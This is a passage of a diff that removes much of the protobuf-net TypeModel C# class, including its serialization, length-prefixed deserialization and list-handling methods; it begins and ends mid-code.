WireType.Variant; - } - switch (code) - { - case ProtoTypeCode.Int64: - case ProtoTypeCode.UInt64: - return format == DataFormat.FixedSize ? WireType.Fixed64 : WireType.Variant; - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - case ProtoTypeCode.Boolean: - case ProtoTypeCode.SByte: - case ProtoTypeCode.Byte: - case ProtoTypeCode.Char: - return format == DataFormat.FixedSize ? WireType.Fixed32 : WireType.Variant; - case ProtoTypeCode.Double: - return WireType.Fixed64; - case ProtoTypeCode.Single: - return WireType.Fixed32; - case ProtoTypeCode.String: - case ProtoTypeCode.DateTime: - case ProtoTypeCode.Decimal: - case ProtoTypeCode.ByteArray: - case ProtoTypeCode.TimeSpan: - case ProtoTypeCode.Guid: - case ProtoTypeCode.Uri: - return WireType.String; - } - - if ((modelKey = GetKey(ref type)) >= 0) - { - return WireType.String; - } - return WireType.None; - } - -#if !FEAT_IKVM - /// - /// This is the more "complete" version of Serialize, which handles single instances of mapped types. - /// The value is written as a complete field, including field-header and (for sub-objects) a - /// length-prefix - /// In addition to that, this provides support for: - /// - basic values; individual int / string / Guid / etc - /// - IEnumerable sequences of any type handled by TrySerializeAuxiliaryType - /// - /// - internal bool TrySerializeAuxiliaryType(ProtoWriter writer, Type type, DataFormat format, int tag, object value, - bool isInsideList) - { - if (type == null) - { - type = value.GetType(); - } - - ProtoTypeCode typecode = Helpers.GetTypeCode(type); - int modelKey; - // note the "ref type" here normalizes against proxies - WireType wireType = GetWireType(typecode, format, ref type, out modelKey); - - - if (modelKey >= 0) - { - // write the header, but defer to the model - if (Helpers.IsEnum(type)) - { - // no header - Serialize(modelKey, value, writer); - return true; - } - else - { - ProtoWriter.WriteFieldHeader(tag, wireType, writer); - switch (wireType) - { - case WireType.None: - throw ProtoWriter.CreateException(writer); - case WireType.StartGroup: - case WireType.String: - // needs a wrapping length etc - SubItemToken token = ProtoWriter.StartSubItem(value, writer); - Serialize(modelKey, value, writer); - ProtoWriter.EndSubItem(token, writer); - return true; - default: - Serialize(modelKey, value, writer); - return true; - } - } - } - - if (wireType != WireType.None) - { - ProtoWriter.WriteFieldHeader(tag, wireType, writer); - } - switch (typecode) - { - case ProtoTypeCode.Int16: - ProtoWriter.WriteInt16((short) value, writer); - return true; - case ProtoTypeCode.Int32: - ProtoWriter.WriteInt32((int) value, writer); - return true; - case ProtoTypeCode.Int64: - ProtoWriter.WriteInt64((long) value, writer); - return true; - case ProtoTypeCode.UInt16: - ProtoWriter.WriteUInt16((ushort) value, writer); - return true; - case ProtoTypeCode.UInt32: - ProtoWriter.WriteUInt32((uint) value, writer); - return true; - case ProtoTypeCode.UInt64: - ProtoWriter.WriteUInt64((ulong) value, writer); - return true; - case ProtoTypeCode.Boolean: - ProtoWriter.WriteBoolean((bool) value, writer); - return true; - case ProtoTypeCode.SByte: - ProtoWriter.WriteSByte((sbyte) value, writer); - return true; - case ProtoTypeCode.Byte: - ProtoWriter.WriteByte((byte) value, writer); - return true; - case ProtoTypeCode.Char: - ProtoWriter.WriteUInt16((ushort) (char) value, writer); - return true; - case ProtoTypeCode.Double: - ProtoWriter.WriteDouble((double) value, writer); - return true; - case ProtoTypeCode.Single: - ProtoWriter.WriteSingle((float) value, writer); - return true; - case ProtoTypeCode.DateTime: - BclHelpers.WriteDateTime((DateTime) value, writer); - return true; - case ProtoTypeCode.Decimal: - BclHelpers.WriteDecimal((decimal) value, writer); - return true; - case ProtoTypeCode.String: - ProtoWriter.WriteString((string) value, writer); - return true; - case ProtoTypeCode.ByteArray: - ProtoWriter.WriteBytes((byte[]) value, writer); - return true; - case ProtoTypeCode.TimeSpan: - BclHelpers.WriteTimeSpan((TimeSpan) value, writer); - return true; - case ProtoTypeCode.Guid: - BclHelpers.WriteGuid((Guid) value, writer); - return true; - case ProtoTypeCode.Uri: - ProtoWriter.WriteString(((Uri) value).AbsoluteUri, writer); - return true; - } - - // by now, we should have covered all the simple cases; if we wrote a field-header, we have - // forgotten something! - Helpers.DebugAssert(wireType == WireType.None); - - // now attempt to handle sequences (including arrays and lists) - IEnumerable sequence = value as IEnumerable; - if (sequence != null) - { - if (isInsideList) throw CreateNestedListsNotSupported(); - foreach (object item in sequence) - { - if (item == null) - { - throw new NullReferenceException(); - } - if (!TrySerializeAuxiliaryType(writer, null, format, tag, item, true)) - { - ThrowUnexpectedType(item.GetType()); - } - } - return true; - } - return false; - } - - private void SerializeCore(ProtoWriter writer, object value) - { - if (value == null) throw new ArgumentNullException("value"); - Type type = value.GetType(); - int key = GetKey(ref type); - if (key >= 0) - { - Serialize(key, value, writer); - } - else if (!TrySerializeAuxiliaryType(writer, type, DataFormat.Default, Serializer.ListItemTag, value, false)) - { - ThrowUnexpectedType(type); - } - } -#endif - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - public void Serialize(Stream dest, object value) - { - Serialize(dest, value, null); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - /// Additional information about this serialization operation. - public void Serialize(Stream dest, object value, SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - using (ProtoWriter writer = new ProtoWriter(dest, this, context)) - { - writer.SetRootObject(value); - SerializeCore(writer, value); - writer.Close(); - } -#endif - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied writer. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination writer to write to. - public void Serialize(ProtoWriter dest, object value) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (dest == null) throw new ArgumentNullException("dest"); - dest.CheckDepthFlushlock(); - dest.SetRootObject(value); - SerializeCore(dest, value); - dest.CheckDepthFlushlock(); - ProtoWriter.Flush(dest); -#endif - } - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int fieldNumber) - { - int bytesRead; - return DeserializeWithLengthPrefix(source, value, type, style, fieldNumber, null, out bytesRead); - } - - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// Used to resolve types on a per-field basis. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver) - { - int bytesRead; - return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// Used to resolve types on a per-field basis. - /// Returns the number of bytes consumed by this operation (includes length-prefix overheads and any skipped data). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, out int bytesRead) - { - bool haveObject; - return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead, - out haveObject, null); - } - - private object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, out int bytesRead, out bool haveObject, - SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - haveObject = false; - bool skip; - int len; - int tmpBytesRead; - bytesRead = 0; - if (type == null && (style != PrefixStyle.Base128 || resolver == null)) - { - throw new InvalidOperationException( - "A type must be provided unless base-128 prefixing is being used in combination with a resolver"); - } - int actualField; - do - { - bool expectPrefix = expectedField > 0 || resolver != null; - len = ProtoReader.ReadLengthPrefix(source, expectPrefix, style, out actualField, out tmpBytesRead); - if (tmpBytesRead == 0) return value; - bytesRead += tmpBytesRead; - if (len < 0) return value; - - switch (style) - { - case PrefixStyle.Base128: - if (expectPrefix && expectedField == 0 && type == null && resolver != null) - { - type = resolver(actualField); - skip = type == null; - } - else - { - skip = expectedField != actualField; - } - break; - default: - skip = false; - break; - } - - if (skip) - { - if (len == int.MaxValue) throw new InvalidOperationException(); - ProtoReader.Seek(source, len, null); - bytesRead += len; - } - } while (skip); - - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(source, this, context, len); - int key = GetKey(ref type); - if (key >= 0 && !Helpers.IsEnum(type)) - { - value = Deserialize(key, value, reader); - } - else - { - if ( - !(TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, - ref value, true, false, true, false) || len == 0)) - { - TypeModel.ThrowUnexpectedType(type); // throws - } - } - bytesRead += reader.Position; - haveObject = true; - return value; - } - finally - { - ProtoReader.Recycle(reader); - } -#endif - } - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// On a field-by-field basis, the type of object to deserialize (can be null if "type" is specified). - /// The type of object to deserialize (can be null if "resolver" is specified). - /// The sequence of deserialized objects. - public System.Collections.IEnumerable DeserializeItems(System.IO.Stream source, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver) - { - return DeserializeItems(source, type, style, expectedField, resolver, null); - } - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// On a field-by-field basis, the type of object to deserialize (can be null if "type" is specified). - /// The type of object to deserialize (can be null if "resolver" is specified). - /// The sequence of deserialized objects. - /// Additional information about this serialization operation. - public System.Collections.IEnumerable DeserializeItems(System.IO.Stream source, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, SerializationContext context) - { - return new DeserializeItemsIterator(this, source, type, style, expectedField, resolver, context); - } - -#if !NO_GENERICS - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The type of object to deserialize. - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// The sequence of deserialized objects. - public System.Collections.Generic.IEnumerable DeserializeItems(Stream source, PrefixStyle style, - int expectedField) - { - return DeserializeItems(source, style, expectedField, null); - } - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The type of object to deserialize. - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// The sequence of deserialized objects. - /// Additional information about this serialization operation. - public System.Collections.Generic.IEnumerable DeserializeItems(Stream source, PrefixStyle style, - int expectedField, SerializationContext context) - { - return new DeserializeItemsIterator(this, source, style, expectedField, context); - } - - private sealed class DeserializeItemsIterator : DeserializeItemsIterator, - System.Collections.Generic.IEnumerator, - System.Collections.Generic.IEnumerable - { - System.Collections.Generic.IEnumerator System.Collections.Generic.IEnumerable.GetEnumerator() - { - return this; - } - - public new T Current - { - get { return (T) base.Current; } - } - - void IDisposable.Dispose() - { - } - - public DeserializeItemsIterator(TypeModel model, Stream source, PrefixStyle style, int expectedField, - SerializationContext context) - : base(model, source, model.MapType(typeof (T)), style, expectedField, null, context) - { - } - } -#endif - - private class DeserializeItemsIterator : IEnumerator, IEnumerable - { - IEnumerator IEnumerable.GetEnumerator() - { - return this; - } - - private bool haveObject; - private object current; - - public bool MoveNext() - { - if (haveObject) - { - int bytesRead; - current = model.DeserializeWithLengthPrefix(source, null, type, style, expectedField, resolver, - out bytesRead, out haveObject, context); - } - return haveObject; - } - - void IEnumerator.Reset() - { - throw new NotSupportedException(); - } - - public object Current - { - get { return current; } - } - - private readonly Stream source; - private readonly Type type; - private readonly PrefixStyle style; - private readonly int expectedField; - private readonly Serializer.TypeResolver resolver; - private readonly TypeModel model; - private readonly SerializationContext context; - - public DeserializeItemsIterator(TypeModel model, Stream source, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, SerializationContext context) - { - haveObject = true; - this.source = source; - this.type = type; - this.style = style; - this.expectedField = expectedField; - this.resolver = resolver; - this.model = model; - this.context = context; - } - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - public void SerializeWithLengthPrefix(Stream dest, object value, Type type, PrefixStyle style, int fieldNumber) - { - SerializeWithLengthPrefix(dest, value, type, style, fieldNumber, null); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// Additional information about this serialization operation. - public void SerializeWithLengthPrefix(Stream dest, object value, Type type, PrefixStyle style, int fieldNumber, - SerializationContext context) - { - if (type == null) - { - if (value == null) throw new ArgumentNullException("value"); - type = MapType(value.GetType()); - } - int key = GetKey(ref type); - using (ProtoWriter writer = new ProtoWriter(dest, this, context)) - { - switch (style) - { - case PrefixStyle.None: - Serialize(key, value, writer); - break; - case PrefixStyle.Base128: - case PrefixStyle.Fixed32: - case PrefixStyle.Fixed32BigEndian: - ProtoWriter.WriteObject(value, key, writer, style, fieldNumber); - break; - default: - throw new ArgumentOutOfRangeException("style"); - } - writer.Close(); - } - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object Deserialize(Stream source, object value, System.Type type) - { - return Deserialize(source, value, type, null); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - /// Additional information about this serialization operation. - public object Deserialize(Stream source, object value, System.Type type, SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - bool autoCreate = PrepareDeserialize(value, ref type); - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(source, this, context, ProtoReader.TO_EOF); - if (value != null) reader.SetRootObject(value); - object obj = DeserializeCore(reader, type, value, autoCreate); - reader.CheckFullyConsumed(); - return obj; - } - finally - { - ProtoReader.Recycle(reader); - } -#endif - } - - private bool PrepareDeserialize(object value, ref Type type) - { - if (type == null) - { - if (value == null) - { - throw new ArgumentNullException("type"); - } - else - { - type = MapType(value.GetType()); - } - } - bool autoCreate = true; -#if !NO_GENERICS - Type underlyingType = Helpers.GetUnderlyingType(type); - if (underlyingType != null) - { - type = underlyingType; - autoCreate = false; - } -#endif - return autoCreate; - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The number of bytes to consume. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object Deserialize(Stream source, object value, System.Type type, int length) - { - return Deserialize(source, value, type, length, null); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The number of bytes to consume (or -1 to read to the end of the stream). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - /// Additional information about this serialization operation. - public object Deserialize(Stream source, object value, System.Type type, int length, - SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - bool autoCreate = PrepareDeserialize(value, ref type); - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(source, this, context, length); - if (value != null) reader.SetRootObject(value); - object obj = DeserializeCore(reader, type, value, autoCreate); - reader.CheckFullyConsumed(); - return obj; - } - finally - { - ProtoReader.Recycle(reader); - } -#endif - } - - /// - /// Applies a protocol-buffer reader to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The reader to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object Deserialize(ProtoReader source, object value, System.Type type) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (source == null) throw new ArgumentNullException("source"); - bool autoCreate = PrepareDeserialize(value, ref type); - if (value != null) source.SetRootObject(value); - object obj = DeserializeCore(source, type, value, autoCreate); - source.CheckFullyConsumed(); - return obj; -#endif - } - -#if !FEAT_IKVM - private object DeserializeCore(ProtoReader reader, Type type, object value, bool noAutoCreate) - { - int key = GetKey(ref type); - if (key >= 0 && !Helpers.IsEnum(type)) - { - return Deserialize(key, value, reader); - } - // this returns true to say we actively found something, but a value is assigned either way (or throws) - TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, ref value, true, false, - noAutoCreate, false); - return value; - } -#endif -#if WINRT - private static readonly System.Reflection.TypeInfo ilist = typeof(IList).GetTypeInfo(); -#else - private static readonly System.Type ilist = typeof (IList); -#endif - - internal static MethodInfo ResolveListAdd(TypeModel model, Type listType, Type itemType, out bool isList) - { -#if WINRT - TypeInfo listTypeInfo = listType.GetTypeInfo(); -#else - Type listTypeInfo = listType; -#endif - isList = model.MapType(ilist).IsAssignableFrom(listTypeInfo); - - Type[] types = {itemType}; - MethodInfo add = Helpers.GetInstanceMethod(listTypeInfo, "Add", types); - -#if !NO_GENERICS - if (add == null) - { - // fallback: look for ICollection's Add(typedObject) method - - bool forceList = listTypeInfo.IsInterface && - listTypeInfo == - model.MapType(typeof (System.Collections.Generic.IEnumerable<>)).MakeGenericType(types) -#if WINRT - .GetTypeInfo() -#endif - ; - -#if WINRT - TypeInfo constuctedListType = typeof(System.Collections.Generic.ICollection<>).MakeGenericType(types).GetTypeInfo(); -#else - Type constuctedListType = - model.MapType(typeof (System.Collections.Generic.ICollection<>)).MakeGenericType(types); -#endif - if (forceList || constuctedListType.IsAssignableFrom(listTypeInfo)) - { - add = Helpers.GetInstanceMethod(constuctedListType, "Add", types); - } - } - - if (add == null) - { -#if WINRT - foreach (Type tmpType in listTypeInfo.ImplementedInterfaces) -#else - foreach (Type interfaceType in listTypeInfo.GetInterfaces()) -#endif - { -#if WINRT - TypeInfo interfaceType = tmpType.GetTypeInfo(); -#endif - if (interfaceType.Name == "IProducerConsumerCollection`1" && interfaceType.IsGenericType && - interfaceType.GetGenericTypeDefinition().FullName == - "System.Collections.Concurrent.IProducerConsumerCollection`1") - { - add = Helpers.GetInstanceMethod(interfaceType, "TryAdd", types); - if (add != null) break; - } - } - } -#endif - - if (add == null) - { - // fallback: look for a public list.Add(object) method - types[0] = model.MapType(typeof (object)); - add = Helpers.GetInstanceMethod(listTypeInfo, "Add", types); - } - if (add == null && isList) - { - // fallback: look for IList's Add(object) method - add = Helpers.GetInstanceMethod(model.MapType(ilist), "Add", types); - } - return add; - } - - internal static Type GetListItemType(TypeModel model, Type listType) - { - Helpers.DebugAssert(listType != null); - -#if WINRT - TypeInfo listTypeInfo = listType.GetTypeInfo(); - if (listType == typeof(string) || listType.IsArray - || !typeof(IEnumerable).GetTypeInfo().IsAssignableFrom(listTypeInfo)) return null; -#else - if (listType == model.MapType(typeof (string)) || listType.IsArray - || !model.MapType(typeof (IEnumerable)).IsAssignableFrom(listType)) return null; -#endif - - BasicList candidates = new BasicList(); -#if WINRT - foreach (MethodInfo method in listType.GetRuntimeMethods()) -#else - foreach (MethodInfo method in listType.GetMethods()) -#endif - { - if (method.IsStatic || method.Name != "Add") continue; - ParameterInfo[] parameters = method.GetParameters(); - Type paramType; - if (parameters.Length == 1 && !candidates.Contains(paramType = parameters[0].ParameterType)) - { - candidates.Add(paramType); - } - } - - string name = listType.Name; - bool isQueueStack = name != null && (name.IndexOf("Queue") >= 0 || name.IndexOf("Stack") >= 0); -#if !NO_GENERICS - if (!isQueueStack) - { - TestEnumerableListPatterns(model, candidates, listType); -#if WINRT - foreach (Type iType in listTypeInfo.ImplementedInterfaces) - { - TestEnumerableListPatterns(model, candidates, iType); - } -#else - foreach (Type iType in listType.GetInterfaces()) - { - TestEnumerableListPatterns(model, candidates, iType); - } -#endif - } -#endif - -#if WINRT - // more convenient GetProperty overload not supported on all platforms - foreach (PropertyInfo indexer in listType.GetRuntimeProperties()) - { - if (indexer.Name != "Item" || candidates.Contains(indexer.PropertyType)) continue; - ParameterInfo[] args = indexer.GetIndexParameters(); - if (args.Length != 1 || args[0].ParameterType != typeof(int)) continue; - MethodInfo getter = indexer.GetMethod; - if (getter == null || getter.IsStatic) continue; - candidates.Add(indexer.PropertyType); - } -#else - // more convenient GetProperty overload not supported on all platforms - foreach ( - PropertyInfo indexer in - listType.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)) - { - if (indexer.Name != "Item" || candidates.Contains(indexer.PropertyType)) continue; - ParameterInfo[] args = indexer.GetIndexParameters(); - if (args.Length != 1 || args[0].ParameterType != model.MapType(typeof (int))) continue; - candidates.Add(indexer.PropertyType); - } -#endif - - switch (candidates.Count) - { - case 0: - return null; - case 1: - return (Type) candidates[0]; - case 2: - if (CheckDictionaryAccessors(model, (Type) candidates[0], (Type) candidates[1])) - return (Type) candidates[0]; - if (CheckDictionaryAccessors(model, (Type) candidates[1], (Type) candidates[0])) - return (Type) candidates[1]; - break; - } - - return null; - } - - private static void TestEnumerableListPatterns(TypeModel model, BasicList candidates, Type iType) - { -#if WINRT - TypeInfo iTypeInfo = iType.GetTypeInfo(); - if (iTypeInfo.IsGenericType) - { - Type typeDef = iTypeInfo.GetGenericTypeDefinition(); - if(typeDef == typeof(System.Collections.Generic.ICollection<>) || typeDef.GetTypeInfo().FullName == "System.Collections.Concurrent.IProducerConsumerCollection`1") - { - - Type[] iTypeArgs = iTypeInfo.GenericTypeArguments; - if (!candidates.Contains(iTypeArgs[0])) - { - candidates.Add(iTypeArgs[0]); - } - } - } -#elif !NO_GENERICS - if (iType.IsGenericType) - { - Type typeDef = iType.GetGenericTypeDefinition(); - if (typeDef == model.MapType(typeof (System.Collections.Generic.IEnumerable<>)) - || typeDef == model.MapType(typeof (System.Collections.Generic.ICollection<>)) - || typeDef.FullName == "System.Collections.Concurrent.IProducerConsumerCollection`1") - { - Type[] iTypeArgs = iType.GetGenericArguments(); - if (!candidates.Contains(iTypeArgs[0])) - { - candidates.Add(iTypeArgs[0]); - } - } - } -#endif - } - - private static bool CheckDictionaryAccessors(TypeModel model, Type pair, Type value) - { -#if NO_GENERICS - return false; -#elif WINRT - TypeInfo finalType = pair.GetTypeInfo(); - return finalType.IsGenericType && finalType.GetGenericTypeDefinition() == typeof(System.Collections.Generic.KeyValuePair<,>) - && finalType.GenericTypeArguments[1] == value; -#else - return pair.IsGenericType && - pair.GetGenericTypeDefinition() == model.MapType(typeof (System.Collections.Generic.KeyValuePair<,>)) - && pair.GetGenericArguments()[1] == value; -#endif - } - -#if !FEAT_IKVM - private bool TryDeserializeList(TypeModel model, ProtoReader reader, DataFormat format, int tag, Type listType, - Type itemType, ref object value) - { - bool isList; - MethodInfo addMethod = TypeModel.ResolveListAdd(model, listType, itemType, out isList); - if (addMethod == null) throw new NotSupportedException("Unknown list variant: " + listType.FullName); - bool found = false; - object nextItem = null; - IList list = value as IList; - object[] args = isList ? null : new object[1]; - BasicList arraySurrogate = listType.IsArray ? new BasicList() : null; - - while (TryDeserializeAuxiliaryType(reader, format, tag, itemType, ref nextItem, true, true, true, true)) - { - found = true; - if (value == null && arraySurrogate == null) - { - value = CreateListInstance(listType, itemType); - list = value as IList; - } - if (list != null) - { - list.Add(nextItem); - } - else if (arraySurrogate != null) - { - arraySurrogate.Add(nextItem); - } - else - { - args[0] = nextItem; - addMethod.Invoke(value, args); - } - nextItem = null; - } - if (arraySurrogate != null) - { - Array newArray; - if (value != null) - { - if (arraySurrogate.Count == 0) - { - // we'll stay with what we had, thanks - } - else - { - Array existing = (Array) value; - newArray = Array.CreateInstance(itemType, existing.Length + arraySurrogate.Count); - Array.Copy(existing, newArray, existing.Length); - arraySurrogate.CopyTo(newArray, existing.Length); - value = newArray; - } - } - else - { - newArray = Array.CreateInstance(itemType, arraySurrogate.Count); - arraySurrogate.CopyTo(newArray, 0); - value = newArray; - } - } - return found; - } - - private static object CreateListInstance(Type listType, Type itemType) - { - Type concreteListType = listType; - - if (listType.IsArray) - { - return Array.CreateInstance(itemType, 0); - } - -#if WINRT - TypeInfo listTypeInfo = listType.GetTypeInfo(); - if (!listTypeInfo.IsClass || listTypeInfo.IsAbstract || - Helpers.GetConstructor(listTypeInfo, Helpers.EmptyTypes, true) == null) -#else - if (!listType.IsClass || listType.IsAbstract || - Helpers.GetConstructor(listType, Helpers.EmptyTypes, true) == null) -#endif - { - string fullName; - bool handled = false; -#if WINRT - if (listTypeInfo.IsInterface && -#else - if (listType.IsInterface && -#endif - (fullName = listType.FullName) != null && fullName.IndexOf("Dictionary") >= 0) - // have to try to be frugal here... - { -#if !NO_GENERICS -#if WINRT - TypeInfo finalType = listType.GetTypeInfo(); - if (finalType.IsGenericType && finalType.GetGenericTypeDefinition() == typeof(System.Collections.Generic.IDictionary<,>)) - { - Type[] genericTypes = listType.GenericTypeArguments; - concreteListType = typeof(System.Collections.Generic.Dictionary<,>).MakeGenericType(genericTypes); - handled = true; - } -#else - if (listType.IsGenericType && - listType.GetGenericTypeDefinition() == typeof (System.Collections.Generic.IDictionary<,>)) - { - Type[] genericTypes = listType.GetGenericArguments(); - concreteListType = - typeof (System.Collections.Generic.Dictionary<,>).MakeGenericType(genericTypes); - handled = true; - } -#endif -#endif -#if !SILVERLIGHT && !WINRT && !PORTABLE - if (!handled && listType == typeof (IDictionary)) - { - concreteListType = typeof (Hashtable); - handled = true; - } -#endif - } -#if !NO_GENERICS - if (!handled) - { - concreteListType = typeof (System.Collections.Generic.List<>).MakeGenericType(itemType); - handled = true; - } -#endif - -#if !SILVERLIGHT && !WINRT && !PORTABLE - if (!handled) - { - concreteListType = typeof (ArrayList); - handled = true; - } -#endif - } - return Activator.CreateInstance(concreteListType); - } - - /// - /// This is the more "complete" version of Deserialize, which handles single instances of mapped types. - /// The value is read as a complete field, including field-header and (for sub-objects) a - /// length-prefix..kmc - /// - /// In addition to that, this provides support for: - /// - basic values; individual int / string / Guid / etc - /// - IList sets of any type handled by TryDeserializeAuxiliaryType - /// - internal bool TryDeserializeAuxiliaryType(ProtoReader reader, DataFormat format, int tag, Type type, - ref object value, bool skipOtherFields, bool asListItem, bool autoCreate, bool insideList) - { - if (type == null) throw new ArgumentNullException("type"); - Type itemType = null; - ProtoTypeCode typecode = Helpers.GetTypeCode(type); - int modelKey; - WireType wiretype = GetWireType(typecode, format, ref type, out modelKey); - - bool found = false; - if (wiretype == WireType.None) - { - itemType = GetListItemType(this, type); - if (itemType == null && type.IsArray && type.GetArrayRank() == 1 && type != typeof (byte[])) - { - itemType = type.GetElementType(); - } - if (itemType != null) - { - if (insideList) throw TypeModel.CreateNestedListsNotSupported(); - found = TryDeserializeList(this, reader, format, tag, type, itemType, ref value); - if (!found && autoCreate) - { - value = CreateListInstance(type, itemType); - } - return found; - } - - // otherwise, not a happy bunny... - ThrowUnexpectedType(type); - } - - // to treat correctly, should read all values - - while (true) - { - // for convenience (re complex exit conditions), additional exit test here: - // if we've got the value, are only looking for one, and we aren't a list - then exit - if (found && asListItem) break; - - - // read the next item - int fieldNumber = 